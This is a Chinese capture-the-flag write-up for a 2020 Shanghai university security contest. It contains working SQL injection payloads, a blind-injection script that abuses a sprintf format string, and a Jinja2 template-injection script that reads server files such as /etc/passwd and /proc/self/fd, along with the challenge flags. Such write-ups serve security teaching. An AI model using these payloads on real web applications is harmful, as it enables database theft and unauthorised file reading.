follow my dream

2020年全国大学生网络安全邀请赛暨第六届上海市大学生网络安全大赛

字数统计: 2k阅读时长: 11 min
2020/11/15 Share

web

千毒网盘

下载源代码 www.zip

获得源代码

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
foreach(array('_GET', '_POST', '_COOKIE') as $key)
{
if($$key) {
foreach($$key as $key_2 => $value_2) {
if(isset($$key_2) and $$key_2 == $value_2)
unset($$key_2);
}
}
}// $$key_2 == $value_2,将unset($$key_2)
if(isset($_POST['code'])) $_POST['code'] = $pan->filter($_POST['code']);
if($_GET) extract($_GET, EXTR_SKIP);
if($_POST) extract($_POST, EXTR_SKIP);
if(isset($_POST['code']))

code.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
public function filter($string) 
{
$safe = preg_match('/union|select|flag|in|or|on|where|like|\'/is', $string);
if($safe === 0){
return $string;
}else{
return False;
}

}

public function getfile()
{

$code = $_POST['code'];

if($code === False) return '非法提取码!';
$file_code = array(114514,233333,666666);

if(in_array($code,$file_code))
{
$sql = "select * from file where code='$code'";
// select * from file where code='0' or '1';
$result = mysqli_query($this->mysqli,$sql);
$result = mysqli_fetch_object($result);
return '下载直链为:'.$result->url;
}else{
return '提取码不存在!';
}

payload

先将利用unset()$_POST['code']置空,再利用if($_GET) extract($_GET, EXTR_SKIP);变量覆盖掉$_POST['code'],最后注意绕过in_array

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
http://eci-2ze6d5v7ffp8qeidk7g8.cloudeci1.ichunqiu.com/index.php?_POST[code]=233333' and '0'='1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() and '1

post:
code=233333' and '0'='1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() and '1

注意! 下载直链为:file,flag

http://eci-2ze6d5v7ffp8qeidk7g8.cloudeci1.ichunqiu.com/index.php?_POST[code]=233333' and '0'='1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name = 'flag
post:
233333' and '0'='1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name = 'flag

注意! 下载直链为:flag

http://eci-2ze6d5v7ffp8qeidk7g8.cloudeci1.ichunqiu.com/index.php?_POST[code]=233333' and '0'='1' union select 1,2,flag from flag where '1
post:
233333' and '0'='1' union select 1,2,flag from flag where '1
注意! 下载直链为:flag{5e34cf8a-29ba-45a2-934a-f8c5d1e9eaa5}

TryToLogin

输入错误密码后,可以获得hint

1
<!-- /?file=xxx 请使用绝对路径-->	

测试过程中发现,代码可能用的是file_get_content

获得源代码

1
index.php?file=/proc/self/cwd/index.php

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
<?php
class user
{
public $hostname = '127.0.0.1';
public $username = 'root';
public $password = 'root';
public $database = 'ctf';
private $mysqli = null;

public function __construct()
{
$this->mysqli = mysqli_connect(
$this->hostname,
$this->username,
$this->password
);
mysqli_select_db($this->mysqli,$this->database);
}

public function filter()
{
$_POST['username'] = addslashes($_POST['username']);
$_POST['password'] = addslashes($_POST['password']);
$safe1 = preg_match('/inn|or/is', $_POST['username']);
$safe2 = preg_match('/inn|or/is', $_POST['password']);
if($safe1 === 0 and $safe2 === 0){
return true;
}else{
die('No hacker!');
}
}

public function login()
{
$this->filter();
$username = $_POST['username'];
$password = $_POST['password'];
$sql = "select * from user where username='%s' and password='$password'";
// password = %1$' || 1=1#
// password = %1$\' or 1=1#
//select * from user where username='%s' and password='%1$\' or 1=1# '
$sql = sprintf($sql,$username);
$result = mysqli_query($this->mysqli,$sql);
$result = mysqli_fetch_object($result);
if($result->id){
return 1;
}else{
return 0;
}

}

}

session_start();

class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
<?php
include 'class.php';

if(isset($_GET['file'])){

if(preg_match('/flag/is', $_GET['file']) === 0){
echo file_get_contents('/'.$_GET['file']);
}
}

if(isset($_POST['password'])){
$user = new user;
$login = $user->login();
if($login){
echo <<<EOF
<br>
<div class="container">
<div class="row clearfix">
<div class="col-md-12 column">
<div class="alert alert-dismissable alert-info">
<button type="button" class="close" data-dismiss="alert" aria-hidden="true">×</button>
<h4>
恭喜!
</h4> <strong>Success!</strong>登录成功了!
</div>
</div>
</div>
</div>
EOF;
}else{
echo <<<EOF
<br>
<div class="container">
<div class="row clearfix">
<div class="col-md-12 column">
<div class="alert alert-dismissable alert-danger">
<button type="button" class="close" data-dismiss="alert" aria-hidden="true">×</button>
<h4>
注意!
</h4> <strong>Wrong!</strong>用户名或密码错误!Need help?
</div>
</div>
</div>
</div>

<!-- /?file=xxx 请使用绝对路径-->
EOF;
}

}

漏洞点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
public function filter() 
{
$_POST['username'] = addslashes($_POST['username']);
$_POST['password'] = addslashes($_POST['password']);
$safe1 = preg_match('/inn|or/is', $_POST['username']);
$safe2 = preg_match('/inn|or/is', $_POST['password']);
if($safe1 === 0 and $safe2 === 0){
return true;
}else{
die('No hacker!');
}
}

public function login()
{
$this->filter();
$username = $_POST['username'];
$password = $_POST['password'];
$sql = "select * from user where username='%s' and password='$password'";
// password = %1$' || 1=1#
// password = %1$\' or 1=1#
//select * from user where username='%s' and password='%1$\' or 1=1# '
$sql = sprintf($sql,$username);
$result = mysqli_query($this->mysqli,$sql);
$result = mysqli_fetch_object($result);
if($result->id){
return 1;
}else{
return 0;
}

在sql语句拼接中,先用简单拼接password,后用sprintf来格式化

很明显的sprintf格式化字符串漏洞

1
2
3
4
password = %1$' ||  1=1# 
password = %1$\' or 1=1# filter() 函数后
select * from user where username='%s' and password='%1$\' or 1=1#' 拼接进去
select * from user where username='admin' and password='' or 1=1#' sprintf格式化后

payload, 注意information 库被过滤 sys.schema_table_statistics

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import requests
import time
import binascii

url = "http://eci-2ze2sq8e1l8hxc76lvp8.cloudeci1.ichunqiu.com/"

flag = ""

i = 0
while( True ):
i = i + 1
low=32
high=127
while( low < high ):
mid = (low + high) >> 1
sqli = "select group_concat(table_name) from sys.schema_table_statistics"
sqli_2 = "select * from fl4g"
payload = "%1$' ||/**/if(ascii(substr(("+sqli+ "),{0},1)) > {1},1,0)=1#".format(i,str(mid))
r = requests.post(url,data={"username":"admin","password":payload})
if "Success" in r.text :
#print(payload)
low = mid + 1
elif "Wrong" in r.text:
high = mid
else :
print("error")
if low!=32:
flag += chr(low)
else:
break
print(flag)

Hello

源代码 /help

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from flask import Flask,request,render_template
from jinja2 import Template
import os

app = Flask(__name__)

f = open('/flag','r')
flag = f.read()
@app.route('/',methods=['GET','POST'])
def home():
name = request.args.get("name") or ""
print(name)
if name:
return render_template('index.html',name=name)
else:
return render_template('index.html')

@app.route('/help',methods=['GET'])
def help():
help = '''
'''
return f.read()

@app.errorhandler(404)
def page_not_found(e):
#No way to get flag!
os.system('rm -f /flag')
url = name = request.args.get("name") or ""
# r = request.path
r = request.data.decode('utf8')
if 'eval' in r or 'popen' in r or '{{' in r:
t = Template(" Not found!")
return render_template(t), 404
t = Template(r + " Not found!")
return render_template(t), 404


if __name__ == '__main__':
app.run(host='0.0.0.0',port=8888)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import requests
import json
url = 'http://eci-2zejdvvwkqa14ro19id2.cloudeci1.ichunqiu.com:8888/123'



data = {
'123':'a'
}

a = "{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{% if c.__init__.__globals__['__builtins__'].open('/etc/passwd').read()[0] == '{}' %}~p2~{% endif %}{% endif %}{% endfor %}"

flag = ''
for j in range(17,300):
for i in range(32,127):
exp = "{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{% if c.__init__.__globals__['__builtins__'].open('/proc/self/fd/3').read()["+str(j)+"] == '" +chr(i) +"' %}~p2~{% endif %}{% endif %}{% endfor %}"

x = {
'123':exp
}
r = requests.post(url=url, data=json.dumps(x))
if 'p2' in r.text:
# print(i)
# print(r.text)
flag += chr(i)
print(flag)
break
#flag{464191d1-4265-4ff5-b4fd-e75f7cd08175}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
> cat cmdline
/home/fe1w0/miniconda3/bin/python3/home/fe1w0/Flask.py%
!w /proc/6263 ------------------------------------------------------------------------------------------- at 15:58:27
> ls fd -al
total 0
dr-x------ 2 fe1w0 fe1w0 0 Nov 14 15:57 .
dr-xr-xr-x 9 fe1w0 fe1w0 0 Nov 14 15:57 ..
lrwx------ 1 fe1w0 fe1w0 64 Nov 14 15:57 0 -> /dev/pts/4
lrwx------ 1 fe1w0 fe1w0 64 Nov 14 15:57 1 -> /dev/pts/4
lrwx------ 1 fe1w0 fe1w0 64 Nov 14 15:57 2 -> /dev/pts/4
lr-x------ 1 fe1w0 fe1w0 64 Nov 14 15:57 3 -> /dev/urandom
lr-x------ 1 fe1w0 fe1w0 64 Nov 14 15:57 4 -> /flag
lrwx------ 1 fe1w0 fe1w0 64 Nov 14 15:57 5 -> 'socket:[115502]'
lrwx------ 1 fe1w0 fe1w0 64 Nov 14 15:57 6 -> 'socket:[115502]'

misc

签到

1
{echo,ZmxhZ3t3MzFjMG1lNX0=}|{base64,-d}|{tr,5,6}

bash 执行

pcap

1
frame.len == 91

慢慢找

image-20201114132222513

image-20201114132236334

拼接的得到flag{d989e2b92ea671f5d30efb8956eab1427625c}

pcap analysis

先查modbus,发现有个长度为65,其他都62

image-20201114152941804

和上题一样:

接着直接查frame.len == 65,拼接得到flag

flag{323f986d429a689d3b96ad12dc5cbc701db0af55}

CATALOG
  1. 1. web
    1. 1.1. 千毒网盘
    2. 1.2. TryToLogin
    3. 1.3. Hello
  2. 2. misc
    1. 2.1. 签到
    2. 2.2. pcap
    3. 2.3. pcap analysis